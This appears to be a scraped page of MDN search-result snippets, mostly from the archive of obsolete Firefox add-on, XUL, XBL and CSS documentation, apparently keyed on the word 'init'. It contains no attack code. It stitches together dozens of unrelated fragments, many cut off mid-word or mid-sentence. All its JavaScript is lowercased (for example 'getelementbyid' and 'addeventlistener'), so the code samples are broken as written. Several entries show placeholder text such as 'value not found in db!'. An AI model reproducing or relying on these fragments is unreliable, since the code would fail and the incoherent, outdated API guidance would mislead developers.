optionally, an options object containing an extends property, which specifies the built-in element your element inherits from, if any (only relevant to customized built-in elements; see the definition below).
... } } the preceding code snippet contains the constructor() definition for the class, which always starts by calling super() so that the correct prototype chain is established.
... using the lifecycle callbacks you can define several different callbacks inside a custom element's class definition, which fire at different points in the element's lifecycle: connectedcallback: invoked each time the custom element is appended into a document-connected element.
... function updatestyle(elem) { const shadow = elem.shadowroot; shadow.queryselector('style').textcontent = ` div { width: ${elem.getattribute('l')}px; height: ${elem.getattribute('l')}px; background-color: ${elem.getattribute('c')}; } `; } the actual updates are all handled by the life cycle callbacks, which are placed inside the class definition as methods.
Communicating With Other Scripts - Archive of obsolete content
ript> </body> </html> the content script "content-script.js" adds an event listener to the button, that sends a custom event containing a message: var messenger = document.getelementbyid("message"); messenger.addeventlistener("click", sendcustomevent, false); function sendcustomevent() { var greeting = {"greeting" : "hello world"}; var event = document.createevent('customevent'); event.initcustomevent("addon-message", true, true, greeting); document.documentelement.dispatchevent(event); } finally, the page script "page-script.js" listens for the message and logs the greeting to the web console: window.addeventlistener("addon-message", function(event) { console.log(event.detail.greeting); }, false); after firefox 30: clone the message object this technique depends on being ...
...one the message payload into the page script's scope using the global cloneinto() function: var messenger = document.getelementbyid("message"); messenger.addeventlistener("click", sendcustomevent, false); function sendcustomevent() { var greeting = {"greeting" : "hello world"}; var cloned = cloneinto(greeting, document.defaultview); var event = document.createevent('customevent'); event.initcustomevent("addon-message", true, true, cloned); document.documentelement.dispatchevent(event); } messaging from page script to content script sending messages using custom dom events from the page script to the content script is just the same, but in reverse.
... in this example, "main.js" creates a page-mod to target the page we are interested in: var data = require("sdk/self").data; var pagemod = require("sdk/page-mod"); pagemod.pagemod({ include: "http://my-domain.org/talk.html", contentscriptfile: data.url("listen.js") }); the web page "talk.html" creates and dispatches a custom dom event, using initcustomevent()'s detail parameter to supply the payload: <!doctype html> <html> <head></head> <body> <script> function sendmessage() { var event = document.createevent('customevent'); event.initcustomevent("addon-message", true, true, { hello: 'world' }); document.documentelement.dispatchevent(event); } </script> <button onclick="sendmessage()">s...
tabs - Archive of obsolete content
it has one of four possible values: "uninitialized": the tab's document is not yet loading "loading": the tab's document is still in the process of loading "interactive": the tab's document has loaded and is parsed, but resources such as images and stylesheets may still be loading "complete": the tab's document and all resources are fully loaded once a tab's readystate has entered "interactive", you can retrieve properties such as the...
... note that you cannot guarantee that a tab's content, or even its url, are initialized at the time activate is emitted.
... you can use the tab's readystate property to determine whether the tab's content and url will be available: if readystate is uninitialized or loading, then you can't access the tab's properties and must wait for the tab's ready event.
ui - Archive of obsolete content
you initialize a frame with a url pointing to an html document supplied under your add-on's "data" directory.
...you initialize a toolbar with an array of buttons and frames: var ui = require("sdk/ui"); var { actionbutton } = require("sdk/ui/button/action"); var { toolbar } = require("sdk/ui/toolbar"); var { frame } = require("sdk/ui/frame"); var previous = ui.actionbutton({ id: "previous", label: "previous", icon: "./icons/previous.png" }); var next = ui.actionbutton({ id: "next", label: "next", ico...
...you initialize a sidebar with a url pointing to an html document supplied under your add-on's "data" directory.
ui/toolbar - Archive of obsolete content
showing and hiding toolbars by default, a toolbar is shown when it is created, although you can specify that a toolbar should be hidden initially by passing hidden:true as an option in its constructor.
...('sdk/ui/button/action'); var { frame } = require("sdk/ui/frame"); var { toolbar } = require("sdk/ui/toolbar"); var button = actionbutton({ id: "my-button", label: "my-button", icon: "./my-button.png" }); var frame = new frame({ url: "./my-frame.html" }); var toolbar = toolbar({ title: "player", items: [button, frame] }); this add-on creates a toolbar with one frame, that's hidden initially, and that logs show and hide events: var { toolbar } = require("sdk/ui/toolbar"); var { frame } = require("sdk/ui/frame"); var frame = new frame({ url: "./frame.html" }); var toolbar = toolbar({ title: "my toolbar", items: [frame], hidden: true, onshow: showing, onhide: hiding }); function showing(e) { console.log("showing"); console.log(e); } function hiding(e) { cons...
... hidden boolean boolean indicating whether the frame should be hidden initially or not.
Displaying annotations - Archive of obsolete content
matcher page-mod matcher content script the content script for the matcher page-mod is initialized with a list of all the annotations that the user has created.
... updating main.js first, initialize an array to hold workers associated with the matcher's content scripts: var matchers = []; in the main function, add the code to create the matcher: var matcher = pagemod.pagemod({ include: ['*'], contentscriptwhen: 'ready', contentscriptfile: [data.url('jquery-1.4.2.min.js'), data.url('matcher.js')], onattach: function(worker) { if(simplestorage.storage...
...this function: initializes the content script instance with the current set of annotations provides a handler for messages from that content script, handling the three messages - show, hide and detach - that the content script might send adds the worker to an array, so we it can send messages back later.
Creating Event Targets - Archive of obsolete content
create a new directory called "bookmarks", navigate to it, and run jpm init, accepting all the defaults.
..."added", bookmarkservice.getbookmarkuri(aitemid).spec); }, onitemvisited: function(aitemid, avisitid, time) { emit(target, "visited", bookmarkservice.getbookmarkuri(aitemid).spec); }, queryinterface: xpcomutils.generateqi([ci.nsinavbookmarkobserver]) }; bookmarkservice.addobserver(bookmarkobserver, false); } var bookmarkmanager = class({ extends: eventtarget, initialize: function initialize(options) { eventtarget.prototype.initialize.call(this, options); merge(this, options); createobserver(this); } }); exports.bookmarkmanager = bookmarkmanager; the code to interact with the places api is the same here.
...in its initialize() function, we: call the base class initializer use merge() to copy any supplied options into the newly created object call createobserver(), passing in the newly created object as the event target createobserver() is the same as in the previous example, except that in emit() we pass the newly created bookmarkmanager as the event target to use this event target we can cr...
On page load - Archive of obsolete content
amonkey chrome://navigator/content/navigator.xul attaching a script attach a script to your overlay (see "attaching a script to an overlay") that adds a load event listener to appcontent element (browsers) or messagepane (mail): window.addeventlistener("load", function load(event){ window.removeeventlistener("load", load, false); //remove listener, no longer needed myextension.init(); },false); var myextension = { init: function() { var appcontent = document.getelementbyid("appcontent"); // browser if(appcontent){ appcontent.addeventlistener("domcontentloaded", myextension.onpageload, true); } var messagepane = document.getelementbyid("messagepane"); // mail if(messagepane){ messagepane.addeventlistener("load", function(event) { myextens...
... basic onpageload for a browser window var myextension = { init: function() { // the event can be domcontentloaded, pageshow, pagehide, load or unload.
... // if (win.frameelement) return; // skip iframes/frames alert("page is loaded \n" +doc.location.href); } } window.addeventlistener("load", function load(event){ window.removeeventlistener("load", load, false); //remove listener, no longer needed myextension.init(); },false); references if you need to have a more complicated listener (not just onload), use progress listeners.
Preferences - Archive of obsolete content
here are the idl definitions: void getcomplexvalue(in string aprefname, in nsiidref atype, [iid_is(atype), retval] out nsqiresult avalue); void setcomplexvalue(in string aprefname, in nsiidref atype, in nsisupports avalue); as you can see, both of them take a parameter, atype, which can have one of the following values (to be precise, you should pass components.interfaces.nsiwhatever instead of j...
... using preference observers changes a user makes to your extension's preferences, such as through an options dialog, may not take effect until the browser is restarted (e.g., if you have initialized local variables when the browser loads).
...when a change is made to the preferences, you can take the appropriate action (such as reinitializing variables or toggling display properties in xul components).
How to convert an overlay extension to restartless - Archive of obsolete content
ddon/filename.ext",null,null) .queryinterface(components.interfaces.nsifileurl) .file; var stream = components.classes["@mozilla.org/network/file-input-stream;1"] .createinstance(components.interfaces.nsifileinputstream) .queryinterface(components.interfaces.nsiseekablestream); stream.init(file, 0x01, 0444, 0); // read-only, read by owner/group/others, normal behavior /* do stuff */ }); this bit of code is paraphrased and probably not to be recommended as-is, but it should work.
...a basic bootstrap.js file: components.utils.import("resource://gre/modules/services.jsm"); function startup(data,reason) { components.utils.import("chrome://myaddon/content/mymodule.jsm"); mymodule.startup(); // do whatever initial startup stuff you need to do foreachopenwindow(loadintowindow); services.wm.addlistener(windowlistener); } function shutdown(data,reason) { if (reason == app_shutdown) return; foreachopenwindow(unloadfromwindow); services.wm.removelistener(windowlistener); mymodule.shutdown(); // do whatever shutdown stuff you need to do on addon disable components.util...
...instead of directly calling your tear down function, make your unloadfromwindow() something like this: function unloadfromwindow(window) { var event = window.document.createevent("event"); event.initevent("myaddonname-unload",false,false); window.dispatchevent(event); } in each window you can then register on startup to listen for your custom "myaddonname-unload" event and just tear down and clean up when that event or a regular "unload" event comes in.
Chapter 2: Technologies used in developing extensions - Archive of obsolete content
also, because a series of security holes were discovered in javascript and the compatible technology jscript, there was an initial reluctance to use javascript at all.
... javascript is a prototype-based object-oriented language, and as shown in listing 3, also permits independent class definitions.
... listing 3: an example of a class definition in javascript function myclass() { } myclass.prototype = { property1 : true, property2 : 'string', method : function() { alert('hello, world!'); } }; var obj = new myclass(); obj.method(); dom: an api for manipulating xml documents the document object model (dom) is a technical standard promulgated by the w3c, and is an api for manipulating the contents of xml documents as objects.
Appendix A: Add-on Performance - Archive of obsolete content
most add-ons use the load event handler in the main overlay to initialize their objects and sometimes read files or even fetch remote data.
...init : function() { let that = this; // run this later and let the window load.
... window.settimeout(function() { that.postinit(); }, 500); }, postinit: function() { // actual init code goes here.
Local Storage - Archive of obsolete content
in the initialization method of your one of your "common" or startup objects, add the following code: let formatter = new log4moz.basicformatter(); let root = log4moz.repository.rootlogger; let logfile = this.getlocaldirectory(); // remember this?
... there are two paths you can take when creating the local database you'll be using for your extension: generate the database file (through mozistorageservice.opendatabase(), all tables (through mozistorageconnection.createtable(), and initial data when your extension starts up for the first time.
... have an initial database file in your defaults directory that you can copy to the user's profile.
Promises - Archive of obsolete content
example direct usage task.spawn(function* () { // make the initial request.
... task.spawn(function* () { // make the initial request.
... the contents of the file will be initially loaded into the json store’s data property.
MMgc - Archive of obsolete content
the gc typically is constructed early in your program's initialization, and then passed to operations like operator new for allocating gc objects.
...here's what the different poison values mean: 0xfafafafa uninitialized unmanaged memory 0xedededed unmanaged memory that was freed explicitly 0xbabababa managed memory that was freed by the sweep phase of the garbage collector 0xcacacaca managed memory that was freed by an explicit call to gc::free (including drc reaping) 0xdeadbeef this is written to the 4 bytes just after any object allocated via mmgc.
...when you crash with what looks like a dangling pointer to a gc object, check for missing write barriers in the vicinity.
Defining Cross-Browser Tooltips - Archive of obsolete content
the problem according to the html 4.01 definition of the alt attribute: alt = text cs for user agents that cannot display images, forms, or applets, this attribute specifies alternate text.
... on the other hand, the html 4.01 definition of the title attribute states: title = text cs this attribute offers advisory information about the element for which it is set.
...please consult an element's definition to verify that it supports this attribute...
MCD, Mission Control Desktop, AKA AutoConfig - Archive of obsolete content
this centralized preference file can lock preferences (lockpref) or initialize them (defaultpref) based on environment variables (user, home...) and/or ldap queries (fetch email address, common name , language, homepage etc...) from the enterprise directory.
..."component returned failure code: 0xc1f30001 (ns_error_not_initialized) [nsildapurl.spec]" nsresult: "0xc1f30001 (ns_error_not_initialized)" location: "js frame :: file:////usr/lib/thunderbird-3.0b2/defaults/autoconfig/prefcalls.js :: getldapattributes :: line 174" data: no] bug 295329 had been re-opened .
...me", "ldapint.na2"); lockpref("ldap_2.servers.ldapint.position", 2); lockpref("ldap_2.servers.ldapint.searchbase", "ou=people,dc=int-evry,dc=fr"); lockpref("ldap_2.servers.ldapint.servername", "ldap1.int-evry.fr"); //news lockpref("news.directory", "/tmp"); //proxy lockpref("network.proxy.autoconfig_url", \ "http://www.int-evry.fr/local/config.proxy"); } // with (prefconfig) this document was initially translated from latex with hevea.
Embedding Mozilla in a Java Application using JavaXPCOM - Archive of obsolete content
n must find a suitable xulrunner installation: mozilla mozilla = mozilla.getinstance(); greversionrange[] range = new greversionrange[1]; range[0] = new greversionrange("1.8.0", true, "1.9", false); // work with trunk nightly version 1.9a1 ^^ try { file grepath = mozilla.getgrepathwithproperties(range, null); locationprovider locprovider = new locationprovider(grepath); mozilla.initembedding(grepath, grepath, locprovider); } catch (filenotfoundexception e) { // this exception is thrown if gregrepathwithproperties cannot find a gre } catch (xpcomexception e) { // this exception is thrown if initembedding failed } locationprovider is a class provided by the java application.
... if your code cannot find the gre and keeps throwing filenotfoundexceptions during the getgrepathwithproperties(...) call, check whether you already registered the gre on your system: gre registration the initembedding method kicks off the embedding process, allowing the java application to work with xpcom and mozilla.
... another example: (taken from rayh.co.uk) // note, on linux, gtk has to be already initialized for this code to work mozilla moz = mozilla.getinstance(); // now we need to start an xul application, so we get an instance of the xpcom service manager nsiservicemanager servicemanager = moz.getservicemanager(); // now we need to get the @mozilla.org/toolkit/app-startup;1 service: nsiappstartup appstartup = (nsiappstartup)servicemanager.getservicebycontractid("...
Block and Line Layout Cheat Sheet - Archive of obsolete content
ns_frame_first_reflow this flag is set on a newly created frame, and later cleared by the frame's reflow() method when the frame has had its initial reflow.
...nslinelayout::beginlinereflow creates the initial perspandata which is called the "root span".
...mframe is initialized to the containing inline frame's perframedata when a new perspandata is pushed in nslinelayout::beginspan.
Document Loading - From Load Start to Finding a Handler - Archive of obsolete content
all loads that we consider in this document are initiated via the docshell.
... guided tour during startup and component initialization, components register themselves with the uriloader via registercontentlistener.
...the first content listener we check is the content listener associated with our window context (the docshell that initiated the load).
Using microformats - Archive of obsolete content
predefined microformats firefox 3 provides definitions implementing several common microformats: adr represents an address (such as a street or mailing address).
... add(name, definition); parameters name the name of the microformat to add to the microformat module.
... definition a javascript structure describing the microformat.
Mozilla Application Framework in Detail - Archive of obsolete content
gecko is based on contributions from mozilla.org, the organization chartered with managing netscape's open source initiative among thousands of internet developers and participating vendors such as netscape.
... open source: gecko represents the first software release from netscape and mozilla.org's open source initiative.
...the xpinstall api makes the following functionality available as high-level javascript objects: an install trigger that initiates installations windows registry access mozilla registration interfaces for registering new mozilla software facilities for detecting and maintaining application versions high-level objects for manipulating local directories and files complete reference documentation, including useful example installations the following snippet from an xpinstall installation gives you some idea about how...
New Skin Notes - Archive of obsolete content
i'll try again, but can't guarantee this will be fixed for the initial upgrades.
...definitely need to fix for ie.
... we definitly need to add some ui to multipage stuff like tutorials.
Binding Attachment and Detachment - Archive of obsolete content
-moz-binding value: none | [,]* <uri> | inherit initial value: none applies to: all elements (not generated content or pseudo-elements) inherited: no percentages: n/a the value of the -moz-binding property is a set of urls that identify specific bindings.
... if the binding needs to execute any initialization code following its attachment to an element, it can do so using a <constructor> block inside <implementation> section.
...therefore new binding definitions can be generated dynamically or the anonymous content templates for bindings can be altered and used by the bound document.
Binding Implementations - Archive of obsolete content
for properties with raw values, an initial value can be specified as a child of the property tag.
...property initialization always takes place after content generation but before the firing of a binding attachment event, since the bindingattached handler needs to be able to assume that all properties will be accessible on the binding.
...a raw initial value is also ignored.
addFile - Archive of obsolete content
typically, absolute pathnames are only used for shared components, or components that come from another vendor, such as /microsoft/shared/msvcrt40.dll.typically, relative pathnames are relative to the main pathname specified in the initinstall method.
...for variants or this method without a version argument the value from initinstall will be used.
...example var xpisrc = "file.txt"; initinstall("adding a file", "addfile", "1.0.1.7", 1); f = getfolder("program"); setpackagefolder(f); addfile(xpisrc); if (0 == getlasterror()) performinstall(); else cancelinstall(); ...
ContextMenus - Archive of obsolete content
function checkcontextmenu(event) { if (event.target.localname == "textbox") event.preventdefault(); } function init() { var container = document.getelementbyid("container"); container.addeventlistener("contextmenu", checkcontextmenu, true); } the 'checkcontextmenu' function checks to see if the textbox was the target of the context menu and, if so, cancels the event using the preventdefault method.
...the event listener is attached using the addeventlistener method within the 'init' function.
... this might be called while initializing a window during a load event for example.
More Event Handlers - Archive of obsolete content
this event is commonly used to initialize fields and perform other tasks that need to be done before the user can use the window.
...this is because the xul elements may not have loaded or fully initialized yet, so some things may not work as expected.
...call code within the load handler which will initialize the interface as necessary.
Open and Save Dialogs - Archive of obsolete content
creating a file picker to begin, you need to create a file picker component and initialize it.
... var nsifilepicker = components.interfaces.nsifilepicker; var fp = components.classes["@mozilla.org/filepicker;1"].createinstance(nsifilepicker); fp.init(window, "select a file", nsifilepicker.modeopen); first, a new file picker object is created and stored in the variable 'fp'.
... the 'init' function is used to initialize the file picker.
XBL Example - Archive of obsolete content
the selectedindex is inherited by the deck, so we may set the initial page in the xul.
... constructor we will also need a constructor to initialize the label element so that it displays correctly when the slideshow is first displayed.
...the reference to 'this.page' will call the onget script of the page property, which in turn will retrieve the initial page from the selectedindex attribute.
datepicker - Archive of obsolete content
in xul, the value attribute may be set to a value of the form yyyy-mm-dd to initialize the datepicker to a certain date.
... !!attention: there is also a datepicker in tb-calendar with differing definitions for members (value is a date there) the change event is fired whenever the date is changed.
... value type: string the initial value of the datepicker in the form yyyy-mm-dd.
editor - Archive of obsolete content
however, an issue is that if you specify the src attribute initially on the editor tag in the xul file, the document does not become editable by default.
...tributes editortype, src, type properties accessibletype, commandmanager, contentdocument, contentwindow, docshell, editingsession, editortype, webbrowserfind, webnavigation methods geteditor, gethtmleditor, makeeditable examples this example shows how to made the editor editable by setting the designmode property of the loaded html document: <script language="javascript"> function initeditor(){ // this function is called to set up the editor var editor = document.getelementbyid("myeditor"); editor.contentdocument.designmode = 'on'; } </script> <editor id="myeditor" editortype="html" src="about:blank" flex="1" type="content-primary"/> once editable, the document can have special formatting and other html pieces added to it using the document.execcommand method: var ed...
... editingsession type: nsieditingsession the editing session for the editor which is used to initialize the editor.
textbox - Archive of obsolete content
the value infinity may be used if you want no limit on the number of decimal places.
...the default value is 100 for scales and infinity for number boxes.
...the minimum and maximum values must both not be infinity.
NP_Shutdown - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary provides global deinitialization for a plug-in.
...use np_shutdown to delete any data allocated in np_initialize to be shared by all instances of a plug-in.
... see also np_initialize, npp_destroy ...
-ms-scroll-translation - Archive of obsolete content
initial valuenoneapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete syntax values vertical-to-horizontal vertical to horizontal translation, as described in remarks, will take place when appropriate.
... inherit the initial value.
... this property's initial value is inherit on all elements, except the <html> element, where it defaults to none.
azimuth - Archive of obsolete content
ArchiveWebCSSazimuth
initial valuecenterapplies toall elementsinheritedyescomputed valuenormalized angleanimation typediscrete syntax <angle> | [ [ left-side | far-left | left | center-left | center | center-right | right | far-right | right-side ] | behind ] | leftwards | rightwards values angle audible source position is described as an angle within the range -360deg to 360deg.
... examples h1 { azimuth: 30deg; } td.a { azimuth: far-right; } /* 60deg */ #12 { azimuth: behind far-right; } /* 120deg */ p.comment { azimuth: behind; } /* 180deg */ specifications specification status comment css level 2 (revision 1)the definition of 'azimuth' in that specification.
... recommendation initial definition.
display-inside - Archive of obsolete content
/* keyword values */ display-inside: auto; display-inside: block; display-inside: table; display-inside: flex; display-inside: grid; display-inside: ruby; /* global values */ display-inside: inherit; display-inside: initial; display-inside: unset; value not found in db!
... specifications specification status comment css display module level 3the definition of 'display-inside' in that specification.
... candidate recommendation initial specification browser compatibility not supported in any browser.
display-outside - Archive of obsolete content
er-group; display-outside: table-footer-group; display-outside: table-row; display-outside: table-cell; display-outside: table-column-group; display-outside: table-column; display-outside: table-caption; display-outside: ruby-base; display-outside: ruby-text; display-outside: ruby-base-container; display-outside: ruby-text-container; /* global values */ display-outside: inherit; display-outside: initial; display-outside: unset; value not found in db!
... specifications specification status comment css display module level 3the definition of 'display-outside' in that specification.
... candidate recommendation initial definition ...
Old Proxy API - Archive of obsolete content
object.getprototypeof(proxy) returns the prototype with which proxy was initialized for an object proxy, and returns function.prototype for a function proxy.
... typeof typeof anobjectproxy === "object" typeof afunctionproxy === "function" instanceof anobjectproxy instanceof c === true if and only if the prototype with which anobjectproxy was initialized equals or inherits from c.prototype afunctionproxy instanceof function === true common mistakes and misunderstanding when starting using proxies, there are often a few beginners' mistakes and misunderstandings: not implementing all traps.
... return "something"; } }); var q = p.azerty; // infinite loop the receiver argument in 'get' and 'set' traps may not be the proxy itself: var proxy; var handler = { has: function (name) { return name == 'foo'; }, get: function (rcvr, name) { if (name != 'foo') return undefined; print(proxy !== rcvr); return "bye"; }, }; proxy = proxy.create(handler); var c = object.create(proxy); pri...
Describing microformats in JavaScript - Archive of obsolete content
microformat definition format the microformat definition must contain the following entries: mfversion specifies the version number of the microformat api to which the definition was written.
...the adr microformat is defined as follows: var adr_definition = { mfversion: 0.8, mfobject: adr, classname: "adr", properties: { "type" : { plural: true, types: ["work", "home", "pref", "postal", "dom", "intl", "parcel"] }, "post-office-box" : { }, "street-address" : { plural: true }, "extended-address" : { }, "locality" : { }, "region" : { }, "postal-code" : { }, "coun...
... the microformat is registered with the microformat api by calling microformats.add(), like this: microformats.add("adr", adr_definition); note: to be clear: since the adr microformat is included by default in firefox 3 and later, you don't need to add it yourself if you wish to make use of it.
Fixing Table Inheritance in Quirks Mode - Archive of obsolete content
*/ table, caption { font-size: -moz-initial; font-weight: -moz-initial; font-style: -moz-initial; font-variant: -moz-initial; } this rule sets all aspects of a table's font, except for the font family, to match the user's preferences setting, thus emulating the behavior of old browsers.
... the value -moz-initial is a proprietary value used to apply the user's (or browser's) default setting for a given property to an element.
... overcoming legacy behavior all that is needed is a rule that overrides the -moz-initial values with the css2 value inherit.
RDF in Mozilla FAQ - Archive of obsolete content
remote.init("http://www.mozilla.org/some-rdf-file.rdf"); // make it load!
... alternatively, if your datasource already has an object that is an rdf container, you can instantiate an nsirdfcontainer object with the @mozilla.org/rdf/container;1 contractid and init() it with the datasource and resource as parameters.
...they initialize xpcom and bring up necko to be able to load and process urls just like mozilla does.
Index - Game development
27 crisp pixel art look with image-rendering 2d, 3d, css, canvas, games, javascript, webgl, image-rendering, pixel this article discusses a useful technique for giving your canvas/webgl games a crisp pixel art look, even on high definition monitors.
... 50 initialize the framework 2d, beginner, canvas, games, html, javascript, phaser, tutorial before we can start writing the game's functionality, we need to create a basic structure to render the game inside.
... 68 paddle and keyboard controls beginner, canvas, controls, games, graphics, javascript, tutorial, keyboard the ball is bouncing off the walls freely and you can watch it indefinitely, but currently there's no interactivity.
Building up a basic demo with Three.js - Game development
to initialize it, we have to set its field of view and aspect ratio: the former is used to set how much is seen, and the latter is important for the objects on the screen to have the right proportions when rendered, and not look stretched.
...right after the function declaration, we're invoking it for the first time to start the loop, after which it will be used indefinitely.
...add the following lines, below your shape definitions: var light = new three.pointlight(0xffffff); light.position.set(-10, 15, 50); scene.add(light); we define a white point of light, set its position a little away from the center of the scene, so it can light up some parts of the shapes, finally adding it to the scene.
CSS and JavaScript accessibility best practices - Learn web development
abbreviations an element that allows an abbreviation, acronym, or initialization to be associated with its expansion: <p>web content is marked up using <abbr title="hypertext markup language">html</abbr>.</p> again, you might want to style it in some simple way: abbr { color: #a60000; } the recognised styling convention for abbreviations is a dotted underline, and it is unwise to significantly deviate from this.
...something should definitely happen when states change, and you shouldn't get rid of the pointer cursor or the outline — both are very important accessibility aids for those using keyboard controls.
...this is a definite usability advantage.
Introduction to CSS layout - Learn web development
this is due to them becoming flex items and being affected by some initial values that flexbox sets on the flex container.
... they are displayed in a row, because the initial value of flex-direction set on their parent is row.
... they all appear to stretch to the height of the tallest item, because the initial value of the align-items property set on their parent is stretch.
Responsive design - Learn web development
.container { column-width: 10em; } flexbox in flexbox, flex items will shrink and distribute space between the items according to the space in their container, as their initial behavior.
... <meta name="viewport" content="width=device-width,initial-scale=1"> this meta tag tells mobile browsers that they should set the width of the viewport to the device width, and scale the document to 100% of its intended size, which shows the document at the mobile-optimized size that you intended.
... initial-scale: sets the initial zoom of the page, which we set to 1.
HTML forms in legacy browsers - Learn web development
actually there is no standard way to do it in any browser */ border: auto; border: initial; } input[type="button"] { /* this will come the closest to restoring default rendering, when supported.
...modernizr.load({ // this tests if your browser supports the html5 form validation api test : modernizr.formvalidation, // if the browser does not support it, the following polyfill is loaded nope : form-validation-api-polyfill.js, // in any case, your core app file that depends on that api is loaded both : app.js, // once both files are loaded, this function is called in order to initialize the app.
... complete : function () { app.init(); } }); the modernizr team conveniently maintains a list of great polyfills.
How to build custom form controls - Learn web development
on the other hand, if you consider that the active state and the open state overlap a bit, the value may change but the option will definitely not be highlighted accordingly, once again because we did not define any keyboard interactions over options when the control is in its opened state (we have only defined what should happen when the control is opened, but nothing after that).
...window.addeventlistener('load', function () { var selectlist = document.queryselectorall('.select'); // each custom control needs to be initialized selectlist.foreach(function (select) { // as well as all its `option` elements var optionlist = select.queryselectorall('.option'); // each time a user hovers their mouse over an option, we highlight the given option optionlist.foreach(function (option) { option.addeventlistener('mouseover', function () { // note: the `select` and `option` variable are clo...
...window.addeventlistener('load', function () { var selectlist = document.queryselectorall('.select'); // each custom control needs to be initialized selectlist.foreach(function (select) { var optionlist = select.queryselectorall('.option'), selectedindex = getindex(select); // we make our custom control focusable select.tabindex = 0; // we make the native control no longer focusable select.previouselementsibling.tabindex = -1; // we make sure that the default selected value is correctly displayed ...
Define terms with HTML - Learn web development
note that <dfn> tags go around the word to be defined, not the definition (the definition consists of the entire paragraph): <p><dfn>firefox</dfn> is the web browser created by the mozilla foundation.</p> another use for bold is to emphasize content.
...if you want a more formal relationship, or your definition consists of only one sentence rather than the whole paragraph, you can use the aria-describedby attribute to associate a term more formally with its definition: <p> <span id="ff"> <dfn aria-describedby="ff">firefox</dfn> is the web browser created by the mozilla foundation.
... how to build a description list description lists are just what they claim to be: a list of terms and their matching descriptions (e.g., definition lists, dictionary entries, faqs, and key-value pairs).
Index - Learn web development
81 storing the information you need — variables arrays, booleans, javascript, numbers, objects, updating, variables, declaring, initializing, l10n:priority, loose typing, strings by now you should know a reasonable amount about javascript variables and how to create them.
... 286 getting started with react beginner, frameworks, javascript, learn, react, client-side this brings us to the end of our initial look at react, including how to install it locally, creating a starter app, and how the basics work.
... 287 getting started with svelte beginner, frameworks, javascript, learn, svelte, client-side this brings us to the end of our initial look at svelte, including how to install it locally, create a starter app, and how the basics work.
Video and Audio APIs - Learn web development
it is also given an initial width of 0, so you can't see it at all.
...rval(windbackward, 200); } } function mediaforward() { clearinterval(intervalrwd); rwd.classlist.remove('active'); if(fwd.classlist.contains('active')) { fwd.classlist.remove('active'); clearinterval(intervalfwd); media.play(); } else { fwd.classlist.add('active'); media.pause(); intervalfwd = setinterval(windforward, 200); } } you'll notice that first we initialize two variables — intervalfwd and intervalrwd — you'll find out what they are for later on.
... then we initialize two more variables — minutevalue and secondvalue.
Basic math in JavaScript — numbers and operators - Learn web development
first of all, let's declare a couple of variables and initialize them with an integer and a float, respectively, then type the variable names back in to check that everything is in order: let myint = 5; let myfloat = 6.667; myint; myfloat; number values are typed in without quote marks — try declaring and initializing a couple more variables containing numbers before you move on.
... first try entering some simple examples of your own, such as 10 + 7 9 * 8 60 % 3 you can also try declaring and initializing some numbers inside variables, and try using those in the sums — the variables will behave exactly like the values they hold for the purposes of the sum.
...the width and height of the box (in pixels) are defined by the variables x and y, which are initially both given a value of 50.
Server-side web frameworks - Learn web development
the field definitions may also specify their maximum size, default values, selection list options, help text for documentation, label text for forms etc.
...— other factors include: framework purpose/origin: some web frameworks were initially created to solve certain types of problems, and remain better at creating web apps with similar constraints.
... although definitely not the only framework based on java it is easy to use to create stand-alone, production-grade spring-based applications that you can "just run".
Framework main features - Learn web development
this component should be responsible for tracking its own count state, and could be written like this: function counterbutton() { const [count] = usestate(0); return ( <button>clicked {count} times</button> ); } usestate() is a react hook which, given an initial data value, will keep track of that value as it is updated.
... the code will be initially rendered like so in the browser: <button>clicked 0 times</button> the usestate() call keeps track of the count value in a robust way across the app, without you needing to write code to do that yourself.
... of react testing library — it tests a number of things, such as the button's existance, and whether the button is displaying the correct text after being clicked 0, 1, and 2 times: import react from "react"; import { render, fireevent } from "@testing-library/react"; import "@testing-library/jest-dom/extend-expect"; import counterbutton from "./counterbutton"; it("renders a semantic with an initial state of 0", () => { const { getbyrole } = render(<counterbutton />); const btn = getbyrole("button"); expect(btn).tobeinthedocument(); expect(btn).tohavetextcontent("clicked 0 times"); }); it("increments the count when clicked", () => { const { getbyrole } = render(<counterbutton />); const btn = getbyrole("button"); fireevent.click(btn); expect(btn).tohavetextcontent("clic...
React interactivity: Editing, filtering, conditional rendering - Learn web development
add the following line just inside the top of your todo(props) { … } component definition: const [isediting, setediting] = usestate(false); next, we're going to rethink the <todo /> component — from now on, we want it to display one of two possible “templates", rather than the single template it's used so far: the "view" template, when we are just viewing a todo; this is what we’ve used in rest of the tutorial so far.
...this means that the return statement of <todo /> is now repetitious — it also contains a definition of the "view" template.
...we want the default filter to be all because all of our tasks should be shown initially: const [filter, setfilter] = usestate('all'); defining our filters our goal right now is two-fold: each filter should have a unique name.
Introduction to cross browser testing - Learn web development
as a web developer, you need to agree on a range of browsers and devices that the code definitely needs to work on with the site owner, but beyond that, you need to code defensively to give other browsers the best chance possible of being able to use your content.
... the workflow for testing and bug fixes on a project can be broken down into roughly the following four phases (this is only very rough — different people may do things quite differently to this): initial planning > development > testing/discovery > fixes/iteration steps 2–4 will tend to be repeated as many times as necessary to get all of the implementation done.
... initial planning in the initial planning phase, you will probably have several planning meetings with the site owner/client (this might be your boss, or someone from an external company you are building a web site for), in which you determine exactly what the web site should be — what content and functionality should it have, what should it look like, etc.
Gecko info for Windows accessibility vendors
definitions here are some basic definitions that you'll need for this document to make sense: gecko: the rendering engine for firefox, thunderbird, nvu, mozilla seamonkey and other applications.
... */ } } the get_nodeinfo method is used to get basic information about a node such as the tag name and namespace id, node type (see isimpledomnode.idl for definitions), node value (text held in the node), a unique id for use in tracking where events occur, and the number of children.
... hresult get_language([out, retval] bstr *language); please look at the isimpledomnode.idl file for parameter types and the definitions of the node type constants.
Dict.jsm
to use it, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/dict.jsm"); creating a dictionary you can create a new, empty dictionary by simply calling the dict() constructor: var newdict = new dict(); if you wish, you may also pass in an object literal of key/value pairs with which to initialize the dictionary: var someobj = {}; var newdict = new dict({key1: "foo", key2: someobj}); note that values may be any javascript object type.
... in firefox 19 and above, you may also pass a json string to initialize the dictionary: var somejson = '{key1: "foo", key2: {}}'; var newdict = new dict(somejson); note: any string you pass will be assumed to be json.
... dict dict(); dict dict( object initalkeysandvalues ); parameters initialkeysandvalues optional a object containing key/value pairs with which to initialize the dictionary.
XPCOMUtils.jsm
constructor the constructor is a simple method that handles any required initialization tasks.
... function mycomponent() { // initialize the component here } class declaration declare the class prototype, using a form similar to this.
